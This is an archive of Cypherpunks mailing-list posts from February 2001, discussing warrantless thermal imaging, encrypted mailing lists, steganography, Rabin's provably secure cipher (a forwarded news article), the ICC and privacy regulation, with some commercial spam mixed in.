> *   From:         aufsj at imap2.asu.edu
> *   Date:         1996/12/27
> *   Newsgroups:   rec.aviation.military
> *
> *   What interests me is how new technologies will be interpreted. I recently
> *   inquired at the local Law School about the courts views towards the use
> *   of impulse radar, and they said "Impulse what the heck?"
> *
> *   Basically it is a radar that "sees through" things (like, say, your
> *   house).
> *
> *   Their capabilities vary widely, but the feds are already using
> *   them and I know that Hughes corp. is designing a low-cost set up
> *   specifically for major police departments.
> *
> *   They are driving towards a unit that can be mounted on a police helicopter.
> *
> *   Will the police need a warrant? Who knows. Since they are allowed
> *   to do airborne infra-red analysis of your house, why not an take an
> *   airborne "x-ray" equivalent?
> *
> *   ---------------------------------------------------------------------
> *   Steven J Forsberg   at  aufsj at imap2.asu.edu              Wizard 87-01
> 
> MSNBC showed a police car mounted device that scans through
> our clothes [for gun metal] as they drive around.
> 
> ----
> 
> Here's the URL to the current story, which
> made it onto Rather Evening News this evening.
> 
> http://cbsnews.com/now/story/0,1597,272897-412,00.shtml
> 




From ravage at ssz.com  Mon Feb 19 16:32:20 2001
From: ravage at ssz.com (Jim Choate)
Date: Mon, 19 Feb 2001 18:32:20 -0600 (CST)
Subject: [Sovereignty v. global justice [was... Mohammed gets Miranda]]
In-Reply-To: <20010220001201.664.qmail@nwcst317.netaddress.usa.net>
Message-ID: <Pine.LNX.3.96.1010219182951.5925O-100000@einstein.ssz.com>



On 19 Feb 2001, LUIS VILDOSOLA wrote:

> Before you can judge an act to be a crime against humanity.
> I'd like to know what acts can be identified as crime,
> where is humanity and how are both these ideas brought together.

A crime is any act, or in some cases failure to act, which causes physical
damage to a person or their property, makes use of said property, or
breaks a public trust without prior permission by all involved.

A crime is a violation of the responce 'No'.

    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------





From kravietz at ceti.pl  Mon Feb 19 09:59:34 2001
From: kravietz at ceti.pl (Pawel Krawczyk)
Date: Mon, 19 Feb 2001 18:59:34 +0100
Subject: FAQ? how to set up a cross-platform encrypted mailing list/forum
In-Reply-To: <3A912A60.6A56E77F@ricardo.de>; from tom@ricardo.de on Mon, Feb 19, 2001 at 03:14:56PM +0100
References: <3337136558.982589680@[10.0.0.5]> <3A912A60.6A56E77F@ricardo.de>
Message-ID: <20010219185934.P5406@aba.krakow.pl>

On Mon, Feb 19, 2001 at 03:14:56PM +0100, Tom wrote:

> one low-tech solution would be using SSL. set up a dedicated machine
> that talks on smtps, but not on the normal smtp (which makes sure your
> inbound traffic is encrypted). the listmails are send EXCLUSIVELY to
> local users, who can read them via an IMAP server which also doesn't
> allow unencrypted access.

Sympa mailing list software supports S/MIME, which seems to be best
encryption standard to protect email delivered to such a heterogenic
group of recipients.

Sympa http://listes.cru.fr/sympa/

-- 
Paweł Krawczyk *** home: <http://ceti.pl/~kravietz/>
security: <http://ipsec.pl/>  *** fidonet: 2:486/23




From George at Orwellian.Org  Mon Feb 19 16:14:55 2001
From: George at Orwellian.Org (George at Orwellian.Org)
Date: Mon, 19 Feb 2001 19:14:55 -0500 (EST)
Subject: Is a Thermal Imaging search needful of a warrant?
Message-ID: <200102200014.TAA08311@www6.aa.psiweb.com>


The U.S. Supreme Court will be deciding soon.

Previously:

----

Is it okay for the government to look at your property while walking by and
if the officer spots marijuana plants growing to get a search warrant?

Of course it is.

*   "The Right To Privacy", ISBN 0-679-74434-7, 1997
*   By Attorneys Ellen Alderman and [The] Caroline Kennedy
*
*   ...then the Supreme Court ruled that if the yard was big enough that "An
*   individual may not legitimately demand privacy for activities conducted
*   out of doors in fields," the Court wrote, "except in the area immediately
*   surrounding the home."
*
*   ...then the Supreme Court ruled that a barn sixty yards from a farmhouse
*   was too far away from a house to expect privacy.
*
*   ...then the Supreme Court ruled that aerial surveillance did not constitute
*   a Fourth Amendment search.
*
*   ...then the Supreme Court ruled that a "precision aerial mapping camera"
*   that was able to capture objects as small as one-half inch in diameter did
*   not constitute a Fourth Amendment search.

...then courts ruled that infrared surveillance of homes was permissible.

What is this?

*   Subject:      Re: Law Enforcement Aviation
*   From:         aufsj at imap2.asu.edu
*   Date:         1996/12/27
*   Newsgroups:   rec.aviation.military
*
*   What interests me is how new technologies will be interpreted. I recently
*   inquired at the local Law School about the courts views towards the use
*   of impulse radar, and they said "Impulse what the heck?"
*
*   Basically it is a radar that "sees through" things (like, say, your
*   house).
*
*   Their capabilities vary widely, but the feds are already using
*   them and I know that Hughes corp. is designing a low-cost set up
*   specifically for major police departments.
*
*   They are driving towards a unit that can be mounted on a police helicopter.
*
*   Will the police need a warrant? Who knows. Since they are allowed
*   to do airborne infra-red analysis of your house, why not an take an
*   airborne "x-ray" equivalent?
*
*   ---------------------------------------------------------------------
*   Steven J Forsberg   at  aufsj at imap2.asu.edu              Wizard 87-01

MSNBC showed a police car mounted device that scans through
our clothes [for gun metal] as they drive around.

----

Here's the URL to the current story, which
made it onto Rather Evening News this evening.

http://cbsnews.com/now/story/0,1597,272897-412,00.shtml




From francois.xavier.bodin at winealley.com  Mon Feb 19 10:42:00 2001
From: francois.xavier.bodin at winealley.com (francois.xavier.bodin at winealley.com)
Date: Mon, 19 Feb 2001 19:42 +0100
Subject: Following our mailing sent Friday, 17 November 2000
Message-ID: <200102191845.KAA06347@cyberpass.net>


Greetings wine lovers!

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From sales at buystainlessonline.com  Mon Feb 19 17:17:39 2001
From: sales at buystainlessonline.com (sales at buystainlessonline.com)
Date: Mon, 19 Feb 2001 20:17:39 -0500
Subject: Worlds Largest Steel Company merger created...
Message-ID: <1yq20y2rp07swa.o50h6mn7ta7n78e@mackdads.com>

If you purchase or distribute Stainless Steel and other Nickel Alloys,
you should visit www.buystainlessonline.com

We also build and host web sites. We are very competitive.

Click Here to be REMOVED FROM THIS MAILING LIST!
http://www.buyscraponline.com/bluemelon/maillist.php

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From cnews at nortelnetworks.com  Mon Feb 19 21:11:04 2001
From: cnews at nortelnetworks.com (cnews at nortelnetworks.com)
Date: Mon, 19 Feb 2001 21:11:04 -0800 (PST)
Subject: Nortel Networks Custom News
Message-ID: <200102200511.VAA01709@sldev2.corpwest.baynetworks.com>


Dear Cypher,

Nortel Networks is launching the next generation web environment so you can
harness the real power of the Internet.

'My Nortel Networks' is a new, personalized environment that gives you easier 
and faster access to the information you need.  You can customize your 'My 
Nortel Networks' page as well as the Customer Support website  by selecting 
the Content that is important to you and your business. And by taking control 
of the what, when and how information is displayed, you save time and have a 
powerful window into Nortel Networks. 

The launch of the new, My Nortel Networks will integrate the current 
www.nortelnetworks.com, Custom News and the Marketing Product Catalog.  As 
subscribers of these services, you will automatically get My Nortel Networks.
The Customer Support Product Catalog will also be available within the new My 
Nortel Networks later in the Summer.  

As My Nortel Networks gets closer to launch we will be contacting you again 
with more details, including how you can get access from day one.

My Nortel Networks - a web experience as individual as you.






From honig at sprynet.com  Mon Feb 19 21:16:23 2001
From: honig at sprynet.com (David Honig)
Date: Mon, 19 Feb 2001 21:16:23 -0800
Subject: [release] OutGuess 0.2 - universal steganography
  (fwd)
In-Reply-To: <5.0.2.1.0.20010219105009.02b76f28@shell11.ba.best.com>
References: <3A911C13.B0BADACC@ricardo.de>
 <Pine.LNX.3.96.1010217183324.5925R-100000@einstein.ssz.com>
Message-ID: <3.0.6.32.20010219211623.0088f2b0@pop.sprynet.com>


At 10:54 AM 2/19/01 -0800, James A. Donald wrote:
>Of course, to be secure, you have to generate lots of original images, so 
>that the spooks have no original to compare wiht, preferably somewhat noisy 
>original images.  A sports site is ideal for this, particularly photos of 
>sports being played in the rain.

Dead tree playboy scans and vinyl to MP3.


.......
"What company did you say you were from, Mr. Hewlett?"
---Walt Disney to Bill Hewlett eetimes 22.01.01 p 32

 






  







From honig at sprynet.com  Mon Feb 19 21:17:18 2001
From: honig at sprynet.com (David Honig)
Date: Mon, 19 Feb 2001 21:17:18 -0800
Subject: Secure Erasing is actually harder than that...
In-Reply-To: <Pine.LNX.4.21.0102191121420.14771-100000@bolt.sonic.net>
References: <3A9150AC.F4DFEBC6@dev.tivoli.com>
Message-ID: <3.0.6.32.20010219211718.0088f100@pop.sprynet.com>


At 11:38 AM 2/19/01 -0800, Ray Dillinger wrote:
>The problem is that data that's been written over once, or even 
>twice or ten times, can often still be read if someone actually 
>takes the platters out and uses electromagnetic microscopy on 
>them. 
>

Really?  You think the fed specs on secure wiping are disinfo?


.......
"What company did you say you were from, Mr. Hewlett?"
---Walt Disney to Bill Hewlett eetimes 22.01.01 p 32

 






  







From honig at sprynet.com  Mon Feb 19 21:19:14 2001
From: honig at sprynet.com (David Honig)
Date: Mon, 19 Feb 2001 21:19:14 -0800
Subject: Is a Thermal Imaging search needful of a warrant?
In-Reply-To: <Pine.LNX.3.96.1010219182902.5925N-100000@einstein.ssz.com>
References: <200102200014.TAA08311@www6.aa.psiweb.com>
Message-ID: <3.0.6.32.20010219211914.00892410@pop.sprynet.com>


At 06:29 PM 2/19/01 -0600, Jim Choate wrote:
>
>Is a visible light search needful of a warrant? If so then why is the
>frequency of the radiation an issue?

Because the law has a notion of 'reasonable expectation'.


.......
"What company did you say you were from, Mr. Hewlett?"
---Walt Disney to Bill Hewlett eetimes 22.01.01 p 32

 






  







From honig at sprynet.com  Mon Feb 19 21:20:04 2001
From: honig at sprynet.com (David Honig)
Date: Mon, 19 Feb 2001 21:20:04 -0800
Subject: [Sovereignty v. global justice [was... Mohammed
  gets Miranda]]
In-Reply-To: <Pine.LNX.3.96.1010219182951.5925O-100000@einstein.ssz.com>
References: <20010220001201.664.qmail@nwcst317.netaddress.usa.net>
Message-ID: <3.0.6.32.20010219212004.008932d0@pop.sprynet.com>


At 06:32 PM 2/19/01 -0600, Jim Choate wrote:
>
>On 19 Feb 2001, LUIS VILDOSOLA wrote:
>
>> Before you can judge an act to be a crime against humanity.
>> I'd like to know what acts can be identified as crime,
>> where is humanity and how are both these ideas brought together.
>
>A crime is any act, or in some cases failure to act, which causes physical
>damage to a person or their property, makes use of said property, or
>breaks a public trust without prior permission by all involved.
>
>A crime is a violation of the responce 'No'.

No Jim, you don't handle masochism at all.

Crime is any *nonconsensual* interaction.




.......
"What company did you say you were from, Mr. Hewlett?"
---Walt Disney to Bill Hewlett eetimes 22.01.01 p 32

 






  







From lvild at usa.net  Mon Feb 19 21:51:15 2001
From: lvild at usa.net (LUIS VILDOSOLA)
Date: 19 Feb 2001 21:51:15 PST
Subject: [Re: [Sovereignty v. global justice [was... Mohammed gets Miranda]]]
Message-ID: <20010220055116.11200.qmail@wwcst269.netaddress.usa.net>


Your response raises more questions for me Jim
like:
-what is property?
-how can I appropriate of the cleanest air this world has to offer?
-what property will give me quality of life and not take it from me?



Jim Choate <ravage at ssz.com> wrote:
> 
> 
> On 19 Feb 2001, LUIS VILDOSOLA wrote:
> 
> > Before you can judge an act to be a crime against humanity.
> > I'd like to know what acts can be identified as crime,
> > where is humanity and how are both these ideas brought together.
> 
> A crime is any act, or in some cases failure to act, which causes physical 
> damage to a person or their property, makes use of said property, or
> breaks a public trust without prior permission by all involved.
> 
> A crime is a violation of the responce 'No'.
> 
>     ____________________________________________________________________
> 
>            Before a larger group can see the virtue of an idea, a
>            smaller group must first understand it.
> 
>                                            "Stranger Suns"
>                                            George Zebrowski
> 
>        The Armadillo Group       ,::////;::-.          James Choate
>        Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
>        www.ssz.com            .',  ||||    `/( e\      512-451-7087
>                            -====~~mm-'`-```-mm --'-
>     --------------------------------------------------------------------
> 


____________________________________________________________________
Get free email and a permanent address at http://www.netaddress.com/?N=1




From lvild at usa.net  Mon Feb 19 22:00:24 2001
From: lvild at usa.net (LUIS VILDOSOLA)
Date: 19 Feb 2001 22:00:24 PST
Subject: [Re: [Re: The CIA for Kids?]]
Message-ID: <20010220060024.4433.qmail@nwcst312.netaddress.usa.net>


you cannot have a cake and eat it at the same time Bear,
that is because you have not decyphered interest rates policy.

You have done good but you cannot eat your cake or you loose
future returns on investment.


Ray Dillinger <bear at sonic.net> wrote:
> On 19 Feb 2001, LUIS VILDOSOLA wrote:
> 
> >Encryption is used in economic policy,
> >without it a minority wouldn't be so lucky over the stock markets
> >and the majority wouldn't have consistent bad luck over it.
> 
> I submit that the majority have consistent bad luck precisely 
> because they are relying on luck instead of doing the basic 
> value analysis to figure out what a company is actually worth.
> 
> I've been making consistent returns in the market.  I never needed 
> to "decrypt" anything.  All that is required is the resolve to ignore 
> fear and greed, do your own homework, and restrict your buying to 
> companies you are confident that you will still want to own ten 
> years from now.
> 
> A lot of people have been losing money in the market lately, but it 
> is not because there was any conspiracy; it is because they were 
> investing in companies with silly business plans and no revenues.
> A few minutes doing basic homework could have saved them.
> 
> 				Bear
> 
> 


____________________________________________________________________
Get free email and a permanent address at http://www.netaddress.com/?N=1




From ashwood at msn.com  Mon Feb 19 20:31:34 2001
From: ashwood at msn.com (Joseph Ashwood)
Date: Mon, 19 Feb 2001 22:31:34 -0600
Subject: FAQ? how to set up a cross-platform encrypted mailing list/forum
References: <3337136558.982589680@[10.0.0.5]>
Message-ID: <005401c09af6$041cc300$e4cf243f@josephas>

Well it's not an easy way, but it's a functional way. Take the code for GPG
and the code for your favorite open-source list server, integrate them so
that each mailing list has it's own GPG key, decrypts, reencrypts to the
targets (individually so as to avoid having insane sizes for each message)
sends, repeat. If you need higher speeds you can compromise of the encrypt
to targets by choosing a key periodically, encrypting it to all the targets
and holding it to be combined with the header.

I would recommend against an S/MIME solution. S/MIME has a great many weak
solutions, and take a lot of work before it's really ready for secure
purposes.
                            Joe




From aimee.farr at pobox.com  Mon Feb 19 20:56:00 2001
From: aimee.farr at pobox.com (Aimee Farr)
Date: Mon, 19 Feb 2001 22:56:00 -0600
Subject: [Sovereignty v. global justice [was... Mohammed gets Miranda]]
In-Reply-To: <20010220001201.664.qmail@nwcst317.netaddress.usa.net>
Message-ID: <NEBBJHBKILFDJEFIABHPIEBICDAA.aimee.farr@pobox.com>



LUIS VILDOSOLA said:

> Before you can judge an act to be a crime against humanity.
> I'd like to know what acts can be identified as crime,

According to the UN
<http://www.un.org/law/icc/statute/elements/elemfra.htm>
Which illustrates that a crime is a legal wrong as defined by the sovereign.

Otherwise, what Jim said. I could add some legalese, but who wants that.

> This is not to question the merit of such an enterprise but to
> question the means ...corruption.

Your questions regarding semantics are highly relevant. The ICC is tangled
up in definitions of "the crime of aggression" at the moment. As far as the
definition of humanity, I'm not going to bite that.

Many nations feel that it will be used by the few, or the many, as a
political vehicle. Others fear the Court will extend it's subject matter
jurisdiction after gaining acceptance. The last 3 signatures before the Dec.
31 deadline were....Iran...Israel...US (Clinton on his way out - but don't
look for it getting past the Senate. The US Military is violently opposed.)
In the realm of lunatic possibilities, I can think of several areas where
there might be an interest in extending the Court's subject matter
jurisdiction to include other common denominators of criminality, according
to the majority world viewpoint, but I question if this would be undertaken.
Finding base emotional common denominators are easy, (using children as
shields, for example) but notions of criminality, and viewpoints regarding
the application of justice are anything but universal.

Since the traditional place of the sovereign is between the individual and
other nation-states, many view the ICC's "directness" as a significant
encroachment on sovereignty, and some say it's meant to be a restraint on
progress of a revolutionary nature. (ie corruption: make unfounded
allegations against a rebel leader, a foreign military force in residence,
etc.)

Cypherpunks illustrate the importance of a "sheltering sovereign," and how
ideas can mature, take tangible form, and spread to other nation-states,
especially in a networked society. Many of the ideas put forth in this forum
would benefit from a criminal nation-state, a misnomer that includes a
spectrum running from liberty/tax havens to terrorist harbors. So, in my
naive view, anything that is viewed as an encroachment on sovereignty (or
asylum) has some relevance here.

[The ICC is a very politicized topic. I've been chewing at both ends of the
pro/con stick, which are equally sensational in nature. I'm certainly no
expert in foreign relations, or the ICC, so I encourage anybody interested
in this issue to do the same, and form their own opinion.]

	A:mee




From George at Orwellian.Org  Mon Feb 19 21:17:31 2001
From: George at Orwellian.Org (George at Orwellian.Org)
Date: Tue, 20 Feb 2001 00:17:31 -0500 (EST)
Subject: Is a Thermal Imaging search needful of a warrant?
Message-ID: <200102200517.AAA20965@www0.aa.psiweb.com>


Chaos Universe wrote:
#    Is a visible light search needful of a warrant?
#    If so then why is the frequency of the radiation an issue?

What this list needs is another space-cadet to answer him.
Yer one of them whacky left-handers, ain't cha?

----

The point at which you start peering into someone's castle
without a warrant is considered by some to be "too-far",
and deserving of constitution claims of protection.

It's no longer a human peering in, it's a cyborg.

A Thermal Imaging search of a home without a warrant
is a technological attack on privacy.

    Whitfield Diffie, Distinguished Engineer---Security at Sun Microsystems:

    "An essential element of freedom is the right to privacy, a right that
    cannot be expected to stand against an unremitting technological attack."

Therefore the issue of frequency is an issue.

    What's the frequency, Jimmy?




From anmetet at mixmaster.shinn.net  Mon Feb 19 21:25:11 2001
From: anmetet at mixmaster.shinn.net (An Metet)
Date: Tue, 20 Feb 2001 00:25:11 -0500
Subject: The Key Vanishes: Scientist Outlines Unbreakable Code
Message-ID: <812dac90e98a2fe1d36580de3c7daed8@anonymous>


By GINA KOLATA

	http://www.nytimes.com/2001/02/20/science/20CODE.html?pagewanted=all


A computer science professor at Harvard says he has found a way to send coded messages that cannot be deciphered, even by an all-powerful adversary with unlimited computing power. And, he says, he can prove it.

If he is right, and he does have some supporters, his code may be the first that is both practical and provably secure. While there are commercially available coding systems that seem very hard to break, no one can prove that they cannot be cracked, mathematicians say.

In essence, the researcher, Dr. Michael Rabin and his Ph.D. student Yan Zong Bing, have discovered a way to make a code based on a key that vanishes even as it is used. While they are not the first to have thought of such an idea, Dr. Rabin says that never before has anyone been able to make it both workable and to prove mathematically that the code cannot be broken.

"This is the first provably unbreakable code that is really efficient," Dr. Rabin said. "We have proved that the adversary is helpless."

Dr. Richard Lipton, a computer science professor at Princeton, who is visiting this year at the Georgia Institute of Technology, said, "It's like in the old `Mission Impossible,' where the message blows up and disappears."

Someone who uses one of today's commercially available coding systems, Dr. Lipton explained, uses the same key Q mathematical formulas for encoding and decoding Q over and over. Eventually, they may be forced, perhaps by a court order, to give up the key. Or the key may be stolen. But with Dr. Rabin's system, the message stays secret forever because the code uses a stream of random numbers that are plugged into the key for encoding and decoding. The numbers are never stored in a computer's memory, so they essentially vanish as the message is being encrypted and decrypted.

"If someone walks into my office with a court order or if they put a gun to my head they still could not read my conversations," Dr. Lipton said. 

In a sense, say some mathematicians and computer scientists, Dr. Rabin may have solved the ultimate problem in cryptography, one that has driven research for centuries: finding a provably unbreakable code that is also practical. But, they say, the paradox is that the discovery has come at a time of vigorous debate over whether such a code will make much difference in keeping communications private.

Some say that a provably unbreakable code could have profound effects, keeping secret messages secret forever. But others say that codes today are already so good that there is little to be gained by making them provably, rather than just probably, unbreakable.

For now, Dr. Rabin's idea is simply a scheme backed up by a mathematical proof that he has been presenting to scientists at seminars. No company is lurking in the background to sell it, and Dr. Rabin says he has no commercial interests in it.

"I never commercialize anything," Dr. Rabin said. "I am not in that business." Instead, he said, he did the work because it was a challenge.

Dr. Rabin's idea is simplicity itself, at least in the world of encryption. Previous coding methods rely for their security on the limitations of computing power. They assume that if breaking a code requires enough calculations, even the best computers will not be able to do it.

But, Dr. Rabin said, there is no proof that such codes are secure. Their security hinges on the belief that no one will find a shortcut to doing the calculations. It is always possible that such a shortcut exists, waiting to be discovered by a clever mathematician.

Dr. Rabin relies instead on the limits of memory banks in computers. No matter how powerful a computer is, no computer can store an unlimited amount of data. And yet that is what is required for an eavesdropper to break his code.

The coding starts with a continuously generated string of random numbers, say from a satellite put up to broadcast them or from some other source. The numbers can be coming by at an enormous speed Q 10 million million per second, for example.

The sender of a message and its recipient agree to start plucking a sequence of numbers from that string. They may agree, for example, to send a message, encoded with any of today's publicly available encryption systems saying "start" and giving instructions on capturing certain of the random numbers. As they capture the numbers, the sender uses them to encode a message, and the recipient uses the numbers to decode it.

An eavesdropper can know the mathematical formula used to encode and decode, but without knowing the exact sequence of random numbers that were used in the formula to send a particular message, the eavesdropper cannot decode the message. And the only way to have that sequence is to just happen to be storing numbers from the unending stream at exactly the right moment.

If the eavesdropper, for example, had a secret way to decode the message saying "start" and it took a minute to do the calculation needed to decode it, it would be too late by the time the eavesdropper got going. The sender and recipient would already have their string of numbers and that string of numbers, once broadcast, could never be retrieved. It would be infeasible to store the endless string of numbers in any computer and so they are essentially gone forever.

Often, Dr. Rabin said, eavesdroppers will capture and store encoded messages hoping to decode them at later, either when computers have improved Q making it easier to do the calculations to break a code Q or when the method for encoding and decoding is known, perhaps because it has been stolen. But, he said, messages encoded with his system can never be broken by these means because the random numbers used in encoding and decoding are used once and are never stored.

"That is why I call it `everlasting security,' " he said. 

Dr. Richard DeMillo, chief technology officer at Hewlett-Packard, said that what interested him about the scheme was that it "reshuffles the policy deck."

"Normally," he explained, "agencies put the burden of wiretapping on the carrier." A telephone company, for example, would have to allow an agency like the Federal Bureau of Investigation to listen in on coded material. But with this system, the agency would still have the burden of trying to capture the appropriate stream of random numbers, a task that would be technologically infeasible.

Dr. Lipton also said the scheme could thwart law enforcement agencies.

"If I'm saying to you, `Buy 1,000 shares of I.B.M., I'm sure it's going to go up,' " he said, "and if that was an insider trading situation, five years from now the F.B.I. could go after you."

If the agency had the encrypted message in hand, it could demand the key to read it, he said. But, Dr. Lipton said, if the random numbers used to encode were used once and never stored, the agency would be hamstrung. "It changes the ground rules," he said.

Dr. Lipton added that, as a computer scientist, he appreciated the proof that the code could not be broken. "Michael's big contribution has been the proof that the system actually works," he said. "It's one of those things that sounds obvious but the mathematics is quite hard."

Of course, what is good for those who want privacy may not be good for law enforcement. Even the cryptography systems sold today are a problem for the F.B.I. "Uncrackable encryption allows drug lords, terrorists and even violent gangs to communicate about their criminal intentions without fear of outside intrusion," the F.B.I. director, Louis J. Freeh, told the Senate in 1998, according to a transcript from the Federal Document Clearing House. "This type of encryption also allows these same people to maintain electronically stored evidence of their crimes beyond the reach of law enforcement."

Still, some computer experts said that while it might be interesting in theory to have a provably unbreakable code, the practical importance of Dr. Rabin's code may be minimal.

Some, like Dr. Dorothy Denning, a computer science professor at Georgetown, and Dr. Cipher Deavours, a professor of computer science and mathematics at Kean University in Union, N.J., said the code was simply impractical for large messages. The larger the message, the longer the string of random numbers needed to encode it, and the more difficult it would be to send.

"It's a cute idea, but it's simply unmanageable," Dr. Deavours said.

Others, like Dr. Lipton, disagreed. "I think it is quite practical," he said. And Dr. Rabin insisted that computers would have no problem with the encryption scheme, even with long messages that were sent among a large group of people.

Beyond the question of whether the system would work in practice, some question it because, they say, the role of cryptography in protecting privacy has been overblown.

"If you think cryptography is the answer to your problem, then you don't know what your problem is," said Dr. Peter G. Neumann, a computer scientist at SRI International in Menlo Park, Calif.

Dr. Neumann explained that there are always ways to get around cryptography barriers and that these methods have nothing to do with breaking codes. 

"It's like the voting machines," he said. "You'd like to have some integrity in the electoral process and now folks are coming out of the woodwork saying, `We have this perfect algorithm for privacy and security.' "

But, he said, while the systems may use cryptography to make sure that when someone touches a screen to vote, that vote is transmitted with perfect security, who's to ensure the integrity of the person who programs the computer?

"There is no guarantee that your vote actually goes into the computer the way it looks on the touch screen," Dr. Neumann said. "What does it take to buy a computer programmer? A couple of years' salary and a house in the Cayman Islands?"

Bruce Schneier, who is founder and chief technical officer for Counterpane Internet Security in San Jose, said that, as a scientist, he liked the idea of a provably secure system. "Research like this should be encouraged," he said. "But research is different from engineering."

But in the real world, a burglar confronted by an impenetrable lock on the front door may well go round to the back and just smash a window. "I'm a cryptographer by trade," Mr. Schneier said. "And a provably secure cryptosystem doesn't do me any good. We're putting a stake in the ground and hoping the enemy runs into it and now we're arguing about whether it should be one mile tall or two miles tall. It doesn't matter. The enemy will walk around it," he added.

Dr. Robert Morris, a retired cryptographer who was chief scientist for the National Security Agency, the nation's code-making and code- breaking agency, also questioned the primacy of cryptography.

"As far as I can see, he seems to be correct Q it's a provably secure method," Dr. Morris said. "But does that mean no one can read it? Nah."

He explained: "You can still get the message, but maybe not by cryptanalysis. If you're in this business, you go after a reasonably cheap, reliable method. It may be one of the three B's: burglary, bribery or blackmail. Those are right up there along with cryptanalysis in their importance."

Dr. Rabin said that just because there are other weaknesses in communications systems, that did not mean that secure encryption was not important.

It is as though medical researchers started arguing that there is no need to find a cure for AIDS, Dr. Rabin said. After all, many more people die of heart disease, and if you cure people of AIDS, heart disease can still strike them.

"This is not a reason not to work on H.I.V.," Dr. Rabin said. "The problem of H.I.V. is still important."

Dr. Morris said that even though the actual breaking of codes might not be necessary to read encrypted messages, Dr. Rabin's method could have an effect. "In a sense, what it does is shift the emphasis from cryptanalysis to some other sort of attack," he said.







From alsdsoa at rosa.ro  Tue Feb 20 00:25:42 2001
From: alsdsoa at rosa.ro (alsdsoa at rosa.ro)
Date: Tue, 20 Feb 2001 00:25:42
Subject: No subject
Message-ID: <761.520117.700234@correo.007mundo.com>

<<< No Message Collected >>>




From paul at privacyright.com  Tue Feb 20 00:54:12 2001
From: paul at privacyright.com (Paul Sholtz)
Date: Tue, 20 Feb 2001 00:54:12 -0800
Subject: privacy regulations suck also (Re: Formal apology) 
Message-ID: <E146D042F119D211B16F00A0CC32B87F396BF0@mrwhite.privacyright.com>


> I've been thinking about the current trend in privacy regulations
> also.  I came to the same conclusion.  My bank sent me a shiny new
> leaflet explaining their privacy position.  It wasn't even an
> especially desirable or equitable position, but they presumably felt
> the new regulations obliged them to write it.  I'm thinking: "so how
> do the laws that caused this leaflet to be written help my privacy?"

Yes, of course they will. They are designed to give you choice over how
personal information is to be used. They will help orders of magnitude more
than any "anonymization" technology ever will (reasons to follow)

> These laws are almost exclusively about *handling* of data, rather
> than questioning the fact that the data is collected in the first
> place.  (Well there is a principle that they should have a reason for
> collecting it, and/or that they get consent, but they do have some
> reason to have pretty much all the data they collect by their
> standards.)

I'm not sure what world you live in, but this point about not needing to
collection infomration in the first place is barely a realistic way to
conduct business in any way that I'm familiar with. Have you ever tried
going to the doctor for basically anything? It's REALLY REALLY hard for him
to treat you unless you tell him what's wrong, what your medical history is,
and he is able to associate this information w/ YOU.

I've done a little research on some of these "anonymization" protocols (like
the cocaine auction by Ross Anderson:
http://www.cl.cam.ac.uk/~fms27/cocaine/), and it seems like they are
interesting mathematical curiosities, but that they don't model reality very
well. No cocaine dealer on earth will do business anonymously. The reason is
because "risky" businesses like this require an inordinately high level of
trust, which the dealer cannot get from anonymous transactions.

The dealer must make ABSOLUTELY certain that the person w/ whom he is
dealing is NOT a government agent, and in the case that he gets shafted by a
customer, he needs to know enough personal information about that customer
to come after him guns blazing, killing him and preferrably taking out most
of his immediate family too.

Granted, the cocaine dealer has an interest in erasing any financial records
of said transaction (i.e., dealing in cash and money laundering), but now
we're talking about cash (or something like it; in general cash can be
traced if it "wants" to be), not about anonymity or about "concealing"
personal information in the course of a business transaction.

> So here's the problem: these laws will if anything make it less
> visible what information companies and governments have on you because
> they will restrict uses.  How the data is handled and used isn't the
> problem, the problem is that the information is collected, and
> available to law enforcement, national intelligence and your average
> dick (private detective).

The purpose of the laws is to make MORE visible the information that
businesses and government have on you. None of these laws call for
"restricting" the use of information, unless of course you the consumer are
requesting the restriction, in which case the laws mandate that said
organization must comply with the restriction.

Like I said before, the information MUST be collected in order to perform
most normal business transactions (especially in health and finance). The
way the information is handled and used has TREMENDOUS implications for
privacy. I'm not sure why you think that the "way" the information is
handled has "nothing" to do w/ privacy.. uhh.. to most people working in the
privacy field, this has EVERYTHING to do w/ privacy..

> Privacy to me means being able to keep my affairs private from
> governments if I choose.  The UK princple allowing you to use any name
> you want (so long as it is not for committing fraud or a crime) is
> agood one.  (I'm hoping that using an alias does not affect the legal
> systems evaluation of the severity of the crime -- and that there are
> no "use of an alias in the commission of a crime" types things in
> effect though I don't know the details).

That is an interesting definition of privacy, but it is really a subset of
the more general definition that is more widely used in the industry, which
is namely the ability to control secondary uses of personal information.
Your example about the UK allowing you to use multiple names seems to me to
be a classic case of what one would call "security through obscurity." Most
professionals would consider this to be EXTREMLEY weak security (or, in your
case, privacy).. I'm not sure why you think this makes you more secure or
private than a legal/economic/technical regime that allows you property
rights over personal information.. 

> So the solution appears to be technological countermeasures, and
> repealing laws.  Neither of which appear even remotely likely within
> the political system.  The political system has a systemic desire to
> create more laws.  Every new law introduces more problems.  The people
> writing the laws don't know the technology, they are control freaks,
> and pander to media and take bribes and broker favors with special
> interest groups.  So at this point I firmly believe in "write code not
> laws", and think that "cypherpunks write code" is important. 

I'm not certain what you mean by "technological countermeasures". If you
mean "anonymization" technology, or "zero-knowledge proofs", you can talk
till you're blue in the face and it still won't happen, although that has
nothing to do w/ the current political system. It has to do w/ the fact that
businessmen won't conduct business w/ people they can't trust (ie., people
who are anonymous) and even IF they could, the economic reality is that
NOTHING in the infrastructure (of banks, hospitals, retail, etc) is even
remotely prepared for this, so why bother talking about it?

Better to guarantee privacy through systems that engender communication of
adequate amounts of personal information for the transaction at hand
(whether financial, medical or retail), but that ensure trusted handling of
the info on the transaction is complete..

Paul Sholtz
PrivacyRight, Inc. - www.privacyright.com
Chief Technology Officer




From id-support at verisign.com  Tue Feb 20 01:24:35 2001
From: id-support at verisign.com (VeriSign Customer Support Department)
Date: Tue, 20 Feb 2001 01:24:35 -0800 (PST)
Subject: Secure your E-mail with your Trial Digital ID
Message-ID: <200102200922.BAA27899@toad.com>


Dear VeriSign Digital ID Holder:

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To learn more about using your Digital ID to secure your e-mail messages, please visit our Secure E-Mail Reference Guide at http://www.verisign.com/securemail/guide.  This guide gives simple, step-by-step instructions on how to get started.

Thanks again for choosing VeriSign! We look forward to serving your future electronic commerce and communications needs.

VeriSign Customer Support Dept.
